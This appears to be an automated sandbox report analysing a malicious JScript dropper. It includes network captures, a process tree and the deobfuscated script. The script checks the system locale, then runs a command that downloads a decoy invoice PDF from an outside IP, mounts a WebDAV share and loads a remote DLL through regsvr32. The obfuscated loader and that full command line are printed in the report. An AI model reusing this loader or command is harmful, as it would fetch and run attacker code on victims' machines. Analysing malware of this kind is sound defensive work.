2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:48:10.294977903 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:48:10.295018911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 20:48:10.295070887 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 20:48:10.295144081 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:48:10.295197964 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 20:48:10.295248985 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 20:48:10.295284986 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 20:48:10.295336008 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 20:48:10.295373917 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 20:48:10.300342083 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7612	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:48:11.797204018 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:48:12.613781929 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:48:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:48:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js"
Imagebase:	0x7ff7f51d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:48:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Imagebase:	0x7ff6effb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:48:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:48:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:48:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:48:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6effb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:48:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cc460000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:48:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:48:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:48:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1764,i,7619880427840652941,12373114566744920719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bgquyc() {	bgquyc() ➔ undefined
1	vikmioikc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zllep = this[rdpdkolqu + eszao + fstbfc + uxdiayog + uqttjp + wodpzthi + gtxva + xkxwkrzu] ( this[dtiygfx + dciezjqdz + oxpxzop + fstbfc + iytugiy + rdpdkolqu + xkxwkrzu][duozednlf + fstbfc + uqttjp + eszao + xkxwkrzu + uqttjp + tzsehydlb + imaecbsx + usgoazmf + uqttjp + oxpxzop + xkxwkrzu] ( dtiygfx + dciezjqdz + oxpxzop + fstbfc + iytugiy + rdpdkolqu + xkxwkrzu + hlnjqdusf + dciezjqdz + vlihldx + uqttjp + qujowmt + qujowmt ) [ggjhnpvs + uqttjp + ztymiu + ggjhnpvs + uqttjp + eszao + wwvxnabl] ( ospmpug + dpeavrhcy + mujtywr + sendyp + owiumhzpz + duozednlf + drugnosm + ggjhnpvs + ggjhnpvs + mujtywr + tanwvs + vtvabxr + owiumhzpz + drugnosm + dciezjqdz + mujtywr + ggjhnpvs + immktb + duozednlf + hrlbmhl + gtxva + xkxwkrzu + fstbfc + hrlbmhl + qujowmt + utmzzy + jwtcb + eszao + gtxva + uqttjp + qujowmt + immktb + wodpzthi + gtxva + xkxwkrzu + uqttjp + fstbfc + gtxva + eszao + xkxwkrzu + iytugiy + hrlbmhl + gtxva + eszao + qujowmt + immktb + nwahaeud + hrlbmhl + oxpxzop + eszao + qujowmt + uqttjp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zsxmpco = 0 ; zsxmpco < vikmioikc[qujowmt + uqttjp + gtxva + ztymiu + xkxwkrzu + vlihldx] ; ++ zsxmpco )
4	{
5	if ( zllep == vikmioikc[zsxmpco] )
6	{
7	zllep = true;
8	break ;
9	}
10	}
11	if ( zllep !== true )
12	this[dtiygfx + dciezjqdz + oxpxzop + fstbfc + iytugiy + rdpdkolqu + xkxwkrzu][xsdjlylog + enrjcacv + iytugiy + xkxwkrzu] ( );
13	this[dtiygfx + dciezjqdz + oxpxzop + fstbfc + iytugiy + rdpdkolqu + xkxwkrzu][duozednlf + fstbfc + uqttjp + eszao + xkxwkrzu + uqttjp + tzsehydlb + imaecbsx + usgoazmf + uqttjp + oxpxzop + xkxwkrzu] ( dtiygfx + dciezjqdz + oxpxzop + fstbfc + iytugiy + rdpdkolqu + xkxwkrzu + hlnjqdusf + dciezjqdz + vlihldx + uqttjp + qujowmt + qujowmt ) [fstbfc + enrjcacv + gtxva] ( oxpxzop + scshs + wwvxnabl + utmzzy + sufqch + oxpxzop + utmzzy + rdpdkolqu + hrlbmhl + xsremwwqe + uqttjp + fstbfc + uxdiayog + vlihldx + uqttjp + qujowmt + qujowmt + hlnjqdusf + uqttjp + cppjucyxy + uqttjp + utmzzy + irgvmk + duozednlf + hrlbmhl + scshs + scshs + eszao + gtxva + wwvxnabl + utmzzy + hdcvybi + wodpzthi + gtxva + uyjmini + hrlbmhl + ijdhivi + uqttjp + irgvmk + dtiygfx + uqttjp + imaecbsx + ggjhnpvs + uqttjp + tjoyeau + enrjcacv + uqttjp + uxdiayog + xkxwkrzu + utmzzy + irgvmk + tzsehydlb + enrjcacv + xkxwkrzu + eawzrkfid + iytugiy + qujowmt + uqttjp + utmzzy + imaek + xkxwkrzu + uqttjp + scshs + rdpdkolqu + imaek + immktb + iytugiy + gtxva + uyjmini + hrlbmhl + iytugiy + oxpxzop + uqttjp + hlnjqdusf + rdpdkolqu + wwvxnabl + nlkkehj + utmzzy + vlihldx + xkxwkrzu + xkxwkrzu + rdpdkolqu + heakhz + sufqch + sufqch + hwusi + ycwfkampw + xrdouuuqn + hlnjqdusf + hwusi + dfizv + xrdouuuqn + hlnjqdusf + hwusi + hlnjqdusf + lenjzxxj + zfrxl + oilsvwd + sufqch + iytugiy + gtxva + uyjmini + hrlbmhl + iytugiy + oxpxzop + uqttjp + hlnjqdusf + rdpdkolqu + vlihldx + rdpdkolqu + hdcvybi + teooze + teooze + uxdiayog + xkxwkrzu + eszao + fstbfc + xkxwkrzu + utmzzy + imaek + xkxwkrzu + uqttjp + scshs + rdpdkolqu + imaek + immktb + iytugiy + gtxva + uyjmini + hrlbmhl + iytugiy + oxpxzop + uqttjp + hlnjqdusf + rdpdkolqu + wwvxnabl + nlkkehj + teooze + teooze + oxpxzop + scshs + wwvxnabl + utmzzy + sufqch + oxpxzop + utmzzy + gtxva + uqttjp + xkxwkrzu + utmzzy + enrjcacv + uxdiayog + uqttjp + utmzzy + immktb + immktb + hwusi + ycwfkampw + xrdouuuqn + hlnjqdusf + hwusi + dfizv + xrdouuuqn + hlnjqdusf + hwusi + hlnjqdusf + lenjzxxj + zfrxl + oilsvwd + vlwxkc + nwglrff + nwglrff + nwglrff + nwglrff + immktb + wwvxnabl + eszao + uyjmini + xsremwwqe + xsremwwqe + xsremwwqe + fstbfc + hrlbmhl + hrlbmhl + xkxwkrzu + immktb + teooze + teooze + oxpxzop + scshs + wwvxnabl + utmzzy + sufqch + oxpxzop + utmzzy + fstbfc + uqttjp + ztymiu + uxdiayog + uyjmini + fstbfc + xrdouuuqn + lenjzxxj + utmzzy + sufqch + uxdiayog + utmzzy + immktb + immktb + hwusi + ycwfkampw + xrdouuuqn + hlnjqdusf + hwusi + dfizv + xrdouuuqn + hlnjqdusf + hwusi + hlnjqdusf + lenjzxxj + zfrxl + oilsvwd + vlwxkc + nwglrff + nwglrff + nwglrff + nwglrff + immktb + wwvxnabl + eszao + uyjmini + xsremwwqe + xsremwwqe + xsremwwqe + fstbfc + hrlbmhl + hrlbmhl + xkxwkrzu + immktb + xrdouuuqn + hwusi + hwusi + xrdouuuqn + uxect + lenjzxxj + lenjzxxj + dfizv + xrdouuuqn + zfrxl + hwusi + ycwfkampw + uxect + xrdouuuqn + nwglrff + hlnjqdusf + wwvxnabl + qujowmt + qujowmt, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll",0,false) ➔ 0
14	}
15	tjoyeau = "a";
16	tjoyeau = "B";
17	tjoyeau = "v";
18	tjoyeau = "B";
19	tjoyeau = "m";
20	tjoyeau = "P";
21	tjoyeau = "X";
22	tjoyeau = "R";
23	tjoyeau = "O";
24	tjoyeau = "x";
25	tjoyeau = "q";
26	tjoyeau = "W";
27	tjoyeau = "U";
28	tjoyeau = "f";
29	tjoyeau = "d";
30	tjoyeau = "Y";
31	tjoyeau = "X";
32	tjoyeau = "l";
33	tjoyeau = "T";
34	tjoyeau = "d";
35	tjoyeau = "C";
36	tjoyeau = "O";
37	tjoyeau = "d";
38	tjoyeau = "q";
39	tjoyeau = "u";
40	tjoyeau = "R";
41	tjoyeau = "K";
42	tjoyeau = "v";
43	tjoyeau = "B";
44	tjoyeau = "E";
45	tjoyeau = "r";
46	tjoyeau = "W";
47	tjoyeau = "e";
48	tjoyeau = "b";
49	tjoyeau = "h";
50	tjoyeau = "D";
51	tjoyeau = "a";
52	tjoyeau = "y";
53	tjoyeau = "Q";
54	tjoyeau = "c";
55	tjoyeau = "V";
56	tjoyeau = "o";
57	tjoyeau = "q";
58	hrlbmhl = "a";
59	hrlbmhl = "Q";
60	hrlbmhl = "C";
61	hrlbmhl = "G";
62	hrlbmhl = "F";
63	hrlbmhl = "r";
64	hrlbmhl = "k";
65	hrlbmhl = "O";
66	hrlbmhl = "h";
67	hrlbmhl = "S";
68	hrlbmhl = "n";
69	hrlbmhl = "j";
70	hrlbmhl = "o";
71	hrlbmhl = "w";
72	hrlbmhl = "n";
73	hrlbmhl = "D";
74	hrlbmhl = "S";
75	hrlbmhl = "h";
76	hrlbmhl = "n";
77	hrlbmhl = "k";
78	hrlbmhl = "m";
79	hrlbmhl = "X";
80	hrlbmhl = "X";
81	hrlbmhl = "k";
82	hrlbmhl = "G";
83	hrlbmhl = "P";
84	hrlbmhl = "g";
85	hrlbmhl = "l";
86	hrlbmhl = "O";
87	hrlbmhl = "m";
88	hrlbmhl = "a";
89	hrlbmhl = "h";
90	hrlbmhl = "q";
91	hrlbmhl = "L";
92	hrlbmhl = "b";
93	hrlbmhl = "i";
94	hrlbmhl = "l";
95	hrlbmhl = "i";
96	hrlbmhl = "z";
97	hrlbmhl = "P";
98	hrlbmhl = "o";
99	usgoazmf = "p";
100	usgoazmf = "U";
101	usgoazmf = "m";
102	usgoazmf = "f";
103	usgoazmf = "N";
104	usgoazmf = "W";
105	usgoazmf = "P";
106	usgoazmf = "F";
107	usgoazmf = "P";
108	usgoazmf = "j";
109	usgoazmf = "C";
110	usgoazmf = "a";
111	usgoazmf = "x";
112	usgoazmf = "C";
113	usgoazmf = "v";
114	usgoazmf = "R";
115	usgoazmf = "i";
116	usgoazmf = "k";
117	usgoazmf = "j";
118	tanwvs = "X";
119	tanwvs = "D";
120	tanwvs = "c";
121	tanwvs = "q";
122	tanwvs = "i";
123	tanwvs = "J";
124	tanwvs = "t";
125	tanwvs = "K";
126	tanwvs = "j";
127	tanwvs = "N";
128	tanwvs = "R";
129	tanwvs = "l";
130	tanwvs = "R";
131	tanwvs = "G";
132	tanwvs = "S";
133	tanwvs = "I";
134	tanwvs = "m";
135	tanwvs = "c";
136	tanwvs = "z";
137	tanwvs = "X";
138	tanwvs = "V";
139	tanwvs = "N";
140	zfrxl = "I";
141	zfrxl = "p";
142	zfrxl = "u";
143	zfrxl = "e";
144	zfrxl = "i";
145	zfrxl = "K";
146	zfrxl = "S";
147	zfrxl = "y";
148	zfrxl = "E";
149	zfrxl = "Q";
150	zfrxl = "C";
151	zfrxl = "o";
152	zfrxl = "e";
153	zfrxl = "k";
154	zfrxl = "i";
155	zfrxl = "V";
156	zfrxl = "Y";
157	zfrxl = "N";
158	zfrxl = "o";
159	zfrxl = "W";
160	zfrxl = "G";
161	zfrxl = "K";
162	zfrxl = "G";
163	zfrxl = "d";
164	zfrxl = "z";
165	zfrxl = "z";
166	zfrxl = "v";
167	zfrxl = "B";
168	zfrxl = "0";
169	nwglrff = "t";
170	nwglrff = "O";
171	nwglrff = "b";
172	nwglrff = "m";
173	nwglrff = "Y";
174	nwglrff = "m";
175	nwglrff = "C";
176	nwglrff = "H";
177	nwglrff = "n";
178	nwglrff = "H";
179	nwglrff = "C";
180	nwglrff = "T";
181	nwglrff = "I";
182	nwglrff = "L";
183	nwglrff = "Z";
184	nwglrff = "S";
185	nwglrff = "A";
186	nwglrff = "J";
187	nwglrff = "a";
188	nwglrff = "B";
189	nwglrff = "s";
190	nwglrff = "V";
191	nwglrff = "f";
192	nwglrff = "j";
193	nwglrff = "l";
194	nwglrff = "V";
195	nwglrff = "v";
196	nwglrff = "x";
197	nwglrff = "q";
198	nwglrff = "e";
199	nwglrff = "T";
200	nwglrff = "d";
201	nwglrff = "h";
202	nwglrff = "y";
203	nwglrff = "R";
204	nwglrff = "D";
205	nwglrff = "j";
206	nwglrff = "y";
207	nwglrff = "G";
208	nwglrff = "D";
209	nwglrff = "i";
210	nwglrff = "x";
211	nwglrff = "8";
212	nwahaeud = "W";
213	nwahaeud = "l";
214	nwahaeud = "A";
215	nwahaeud = "S";
216	nwahaeud = "C";
217	nwahaeud = "L";
218	iytugiy = "v";
219	iytugiy = "S";
220	iytugiy = "J";
221	iytugiy = "K";
222	iytugiy = "s";
223	iytugiy = "L";
224	iytugiy = "l";
225	iytugiy = "b";
226	iytugiy = "i";
227	iytugiy = "X";
228	iytugiy = "e";
229	iytugiy = "e";
230	iytugiy = "s";
231	iytugiy = "i";
232	iytugiy = "n";
233	iytugiy = "r";
234	iytugiy = "H";
235	iytugiy = "g";
236	iytugiy = "L";
237	iytugiy = "C";
238	iytugiy = "Y";
239	iytugiy = "o";
240	iytugiy = "E";
241	iytugiy = "c";
242	iytugiy = "C";
243	iytugiy = "c";
244	iytugiy = "Z";
245	iytugiy = "g";
246	iytugiy = "A";
247	iytugiy = "i";
248	eszao = "y";
249	eszao = "u";
250	eszao = "J";
251	eszao = "i";
252	eszao = "I";
253	eszao = "Z";
254	eszao = "a";
255	eszao = "n";
256	eszao = "N";
257	eszao = "o";
258	eszao = "E";
259	eszao = "H";
260	eszao = "U";
261	eszao = "T";
262	eszao = "M";
263	eszao = "B";
264	eszao = "j";
265	eszao = "i";
266	eszao = "a";
267	xsdjlylog = "H";
268	xsdjlylog = "h";
269	xsdjlylog = "e";
270	xsdjlylog = "Q";
271	xsdjlylog = "h";
272	xsdjlylog = "T";
273	xsdjlylog = "d";
274	xsdjlylog = "R";
275	xsdjlylog = "V";
276	xsdjlylog = "c";
277	xsdjlylog = "K";
278	xsdjlylog = "N";
279	xsdjlylog = "A";
280	xsdjlylog = "t";
281	xsdjlylog = "S";
282	xsdjlylog = "z";
283	xsdjlylog = "W";
284	xsdjlylog = "K";
285	xsdjlylog = "u";
286	xsdjlylog = "b";
287	xsdjlylog = "a";
288	xsdjlylog = "U";
289	xsdjlylog = "O";
290	xsdjlylog = "H";
291	xsdjlylog = "A";
292	xsdjlylog = "S";
293	xsdjlylog = "Q";
294	uqttjp = "P";
295	uqttjp = "O";
296	uqttjp = "g";
297	uqttjp = "g";
298	uqttjp = "a";
299	uqttjp = "d";
300	uqttjp = "V";
301	uqttjp = "b";
302	uqttjp = "z";
303	uqttjp = "d";
304	uqttjp = "k";
305	uqttjp = "I";
306	uqttjp = "M";
307	uqttjp = "k";
308	uqttjp = "X";
309	uqttjp = "u";
310	uqttjp = "d";
311	uqttjp = "X";
312	uqttjp = "O";
313	uqttjp = "e";
314	utmzzy = "E";
315	utmzzy = "X";
316	utmzzy = "N";
317	utmzzy = "v";
318	utmzzy = "w";
319	utmzzy = "B";
320	utmzzy = "v";
321	utmzzy = "j";
322	utmzzy = "w";
323	utmzzy = "d";
324	utmzzy = "M";
325	utmzzy = "D";
326	utmzzy = "Z";
327	utmzzy = "N";
328	utmzzy = "E";
329	utmzzy = "a";
330	utmzzy = "z";
331	utmzzy = "F";
332	utmzzy = "R";
333	utmzzy = "a";
334	utmzzy = "P";
335	utmzzy = "S";
336	utmzzy = "H";
337	utmzzy = "Q";
338	utmzzy = "K";
339	utmzzy = "v";
340	utmzzy = "u";
341	utmzzy = "H";
342	utmzzy = "c";
343	utmzzy = "M";
344	utmzzy = "w";
345	utmzzy = "P";
346	utmzzy = "A";
347	utmzzy = "E";
348	utmzzy = "V";
349	utmzzy = "a";
350	utmzzy = "Y";
351	utmzzy = "P";
352	utmzzy = "K";
353	utmzzy = "F";
354	utmzzy = "M";
355	utmzzy = "X";
356	utmzzy = " ";
357	immktb = "U";
358	immktb = "h";
359	immktb = "B";
360	immktb = "l";
361	immktb = "E";
362	immktb = "z";
363	immktb = "B";
364	immktb = "r";
365	immktb = "H";
366	immktb = "C";
367	immktb = "D";
368	immktb = "T";
369	immktb = "i";
370	immktb = "O";
371	immktb = "x";
372	immktb = "M";
373	immktb = "Z";
374	immktb = "s";
375	immktb = "L";
376	immktb = "B";
